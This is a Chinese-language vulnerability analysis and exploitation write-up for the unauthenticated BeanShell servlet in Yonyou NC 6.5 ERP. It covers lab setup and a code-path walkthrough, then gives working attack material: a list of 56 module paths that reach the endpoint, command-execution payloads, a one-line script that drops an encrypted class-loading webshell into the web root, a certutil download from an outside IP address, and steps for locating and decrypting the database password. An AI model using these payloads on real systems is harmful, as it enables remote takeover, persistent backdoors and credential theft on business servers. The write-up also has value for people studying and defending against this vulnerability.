0x01 前言

用友NC存在一个对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接口,并构造恶意数据执行任意代码从而获取服务器权限。

0x02 环境搭建

用友官方支持OracleSQL Server等数据库,网上的教程大都是用Oracle数据库,这里本次使用的是SQL Server2012 SP1

SQL Server 2012环境配置

SQL Server 2012下载与安装不再赘述,请参考

新建数据库

登录并创建一个对应数据库,这里我创建的数据库名为nc65
image.png

添加文件组

点击左边的文件组,添加行

  1. nnc_data01
  2. nnc_data02
  3. nnc_data03
  4. nnc_index01
  5. nnc_index02
  6. nnc_index03

image.png
点击确定,回到数据库,右键nc65数据库-属性
image.png
属性页左侧栏文件-添加对应逻辑文件,并修改其对应的文件组
image.png

NC6.5安装与配置

解压

解压安装包附件,如果出现解压数据格式错误则安装文件有问题,请重新下载
image.png
安装包目录结构
image.png
image.png

  1. nc_uap 客户化
  2. nc_portal 企业门户
  3. nc_pd 工程基础数据
  4. nc_fi 财务会计
  5. nc_tpb 全面计划预算
  6. nc_co_cm 管理会计
  7. nc_tm 资金管理
  8. nc_scm 供应链管理
  9. nc_qc 质量管理
  10. nc_am 资产管理
  11. nc_mm 生产制造
  12. nc_hr 人力资源
  13. nc_hr_pd 人力资源预制
  14. nc_iufo 网络报表含合并报表
  15. nc_xbrl 集团报表XBRL

安装

双击setup.bat会进入GUI安装界面。
image.png
image.png
进入安装向导,选择安装模块进行安装

  1. 必须安装的基本领域/模块:UAP Server、智能客户端应用平台
  2. NCHome目录路径中不能包含中文、空格或特殊字符

image.png
image.png
安装完成后,勾选继续选择应用服务器启动系统配置工具,也可以关闭后在home/bin中双击中双击SysConfig.bat启动
image.png

服务器配置

服务器类型选择UAP SERVER。点击服务器信息-读取,会读取默认配置,填写IP地址与端口。
image.png
进入数据源页签-读取-添加,在标准模式中将服务器需要填的信息填上(数据库名,账户,密码),填不了的点击确定后会自动补齐。填写完毕后,点击测试,如果通过则表示NC能够与数据库连通,保存即可。
image.png
读取文件服务器配置,按个人喜好修改磁盘位置即可
image.png
最后点击部署EJB,等待部署完成。
image.png

启动服务

NC安装目录下的home目录下找到startServer.bat,使用命令行进行启动。
image.png
启动成功
image.png
退出时会说文件服务器没有配置,不用管,直接退出。

  1. 1. 启动中间件:$home$/startup.bat
  2. 2. 浏览器访问:http://127.0.0.1:[端口]/admin.jsp
  3. 3. 管理员登录:root/空 super/空

访问NC页面成功,环境部署成功
image.png

0x03 漏洞分析

漏洞披露的触发点URL

  1. /servlet/~ic/bsh.servlet.BshServlet

查看web.xml其对应的servlet-nameNCInvokerServlet
image.png
通过寻找发现其对应NCInvokerServlet类在/yonyou/home/lib/fwserver.jar包内
image.png
导出所有jar包,将所有jar包后缀改为.zip
image.png
使用fernflower.jar进行批量反编译

  1. mkdir code
  2. java -jar fernflower.jar jar/*.zip jar/code/

反编译完成后,解压所有的zip文件,导入进IDEA
image.png

InvokerServlet类

对应类位置fwserver/nc/bs/framework/server/InvokerServlet.java
image.png
该类中所有的getpost操作都被doAction函数进行处理
image.png
跟进到doAction函数,主要作用获取modulNameserviceName
image.png
首先判断传入的URI中是否以/~开头,并进入到该分支进行处理
image.png
经过分支进行处理后,moduleName=icserviceName=bsh.servlet.BshServlet,然后调用getServiceObject方法进行处理
image.png
跟进getServiceObject方法,主要是根据moduleNameserviceName去查找服务。
image.png
继续向下走,通过反射调用retObjectdoAction方法进行执行服务。
image.png

bsh.servlet.BshServlet类

ic是用友nc中的一个module模块,文件位置位于\yonyou\home\modules\ic
image.png
bsh.servlet.BshServlet位于\yonyou\home\lib\bsh-2.0b1.jar包中,也是我们前面反编译的文件
bsh-2.0b1/bsh/servlet/BshServlet.java
image.png
通过bsh.script接收输入的内容,判断输入内容是否为空,如果不为空则调用evalScript方法
image.png
跟进到evalScript方法,发现最后调用的是var8eval方法处理了var1的内容。var1是我们传入的var3也就是我们输入的内容
image.png

Tips

在整个过程中可以发现只要存在moduleName就可以调用想要的服务,只要访问存在的模块名,也可以调用bsh.servlet.BshServlet从而进行执行命令。
例如访问一个不存在的module模块名

  1. /servlet/~test/bsh.servlet.BshServlet

image.png
访问其他存在的模块名,模块位置位于\yonyou\home\modules\

  1. /servlet/~aeam/bsh.servlet.BshServlet

image.png

  1. /service/~aim/bsh.servlet.BshServlet
  2. /service/~alm/bsh.servlet.BshServlet
  3. /service/~ampub/bsh.servlet.BshServlet
  4. /service/~arap/bsh.servlet.BshServlet
  5. /service/~aum/bsh.servlet.BshServlet
  6. /service/~cc/bsh.servlet.BshServlet
  7. /service/~cdm/bsh.servlet.BshServlet
  8. /service/~cmp/bsh.servlet.BshServlet
  9. /service/~ct/bsh.servlet.BshServlet
  10. /service/~dm/bsh.servlet.BshServlet
  11. /service/~erm/bsh.servlet.BshServlet
  12. /service/~fa/bsh.servlet.BshServlet
  13. /service/~fac/bsh.servlet.BshServlet
  14. /service/~fbm/bsh.servlet.BshServlet
  15. /service/~ff/bsh.servlet.BshServlet
  16. /service/~fip/bsh.servlet.BshServlet
  17. /service/~fipub/bsh.servlet.BshServlet
  18. /service/~fp/bsh.servlet.BshServlet
  19. /service/~fts/bsh.servlet.BshServlet
  20. /service/~fvm/bsh.servlet.BshServlet
  21. /service/~gl/bsh.servlet.BshServlet
  22. /service/~hrhi/bsh.servlet.BshServlet
  23. /service/~hrjf/bsh.servlet.BshServlet
  24. /service/~hrpd/bsh.servlet.BshServlet
  25. /service/~hrpub/bsh.servlet.BshServlet
  26. /service/~hrtrn/bsh.servlet.BshServlet
  27. /service/~hrwa/bsh.servlet.BshServlet
  28. /service/~ia/bsh.servlet.BshServlet
  29. /service/~ic/bsh.servlet.BshServlet
  30. /service/~iufo/bsh.servlet.BshServlet
  31. /service/~modules/bsh.servlet.BshServlet
  32. /service/~mpp/bsh.servlet.BshServlet
  33. /service/~obm/bsh.servlet.BshServlet
  34. /service/~pu/bsh.servlet.BshServlet
  35. /service/~qc/bsh.servlet.BshServlet
  36. /service/~sc/bsh.servlet.BshServlet
  37. /service/~scmpub/bsh.servlet.BshServlet
  38. /service/~so/bsh.servlet.BshServlet
  39. /service/~so2/bsh.servlet.BshServlet
  40. /service/~so3/bsh.servlet.BshServlet
  41. /service/~so4/bsh.servlet.BshServlet
  42. /service/~so5/bsh.servlet.BshServlet
  43. /service/~so6/bsh.servlet.BshServlet
  44. /service/~tam/bsh.servlet.BshServlet
  45. /service/~tbb/bsh.servlet.BshServlet
  46. /service/~to/bsh.servlet.BshServlet
  47. /service/~uap/bsh.servlet.BshServlet
  48. /service/~uapbd/bsh.servlet.BshServlet
  49. /service/~uapde/bsh.servlet.BshServlet
  50. /service/~uapeai/bsh.servlet.BshServlet
  51. /service/~uapother/bsh.servlet.BshServlet
  52. /service/~uapqe/bsh.servlet.BshServlet
  53. /service/~uapweb/bsh.servlet.BshServlet
  54. /service/~uapws/bsh.servlet.BshServlet
  55. /service/~vrm/bsh.servlet.BshServlet
  56. /service/~yer/bsh.servlet.BshServlet

image.png

0x04 漏洞利用

命令执行

  1. exec("ipconfig /all");
  2. exec("whoami");

image.png

写文件

beanshell完全符合Java语法规范,那可以通过写一个java脚本来写入文件
先用dir命令了解当前安装的位置,然后再构造java脚本

  1. dir();
  2. dir("./webapps/nc_web");

注意beanshell输入框不能有回车的,shell中的引号需转义

  1. import java.io.*;String filePath = "./webapps/nc_web/shell.jsp"; String conent ="<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try {File file = new File(filePath);File fileParent = file.getParentFile();if (!fileParent.exists()) {fileParent.mkdirs();}file.createNewFile();out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));out.write(conent);}catch(Exception e) {e.printStackTrace();} finally {try {out.close();} catch (IOException e) {e.printStackTrace();}}

image.png
成功连接webshell
image.png

远程下载

当然还用更简单的步骤,直接利用windowscertutil工具远程直接下载,当然还得看能不能出网

  1. exec("certutil -urlcache -split -f http://101.35.17.6:8088/test.txt ./webapps/nc_web/test.txt")

image.png

解密数据库

NC数据库密码位置在/yonyou/home/ierp/bin/prop.xml
image.png
可以看到这里数据库的账户信息都在,但是密码被加密了

  1. <databaseUrl>jdbc:sqlserver://127.0.0.1:1433;database=nc65;sendStringParametersAsUnicode=true;responseBuffering=adaptive</databaseUrl>
  2. <user>sa</user>
  3. <password>fhkjjjimdphmoecm</password>

利用解密工具
GitHub - 1amfine2333/ncDecode: 用友nc数据库密码解密
image.png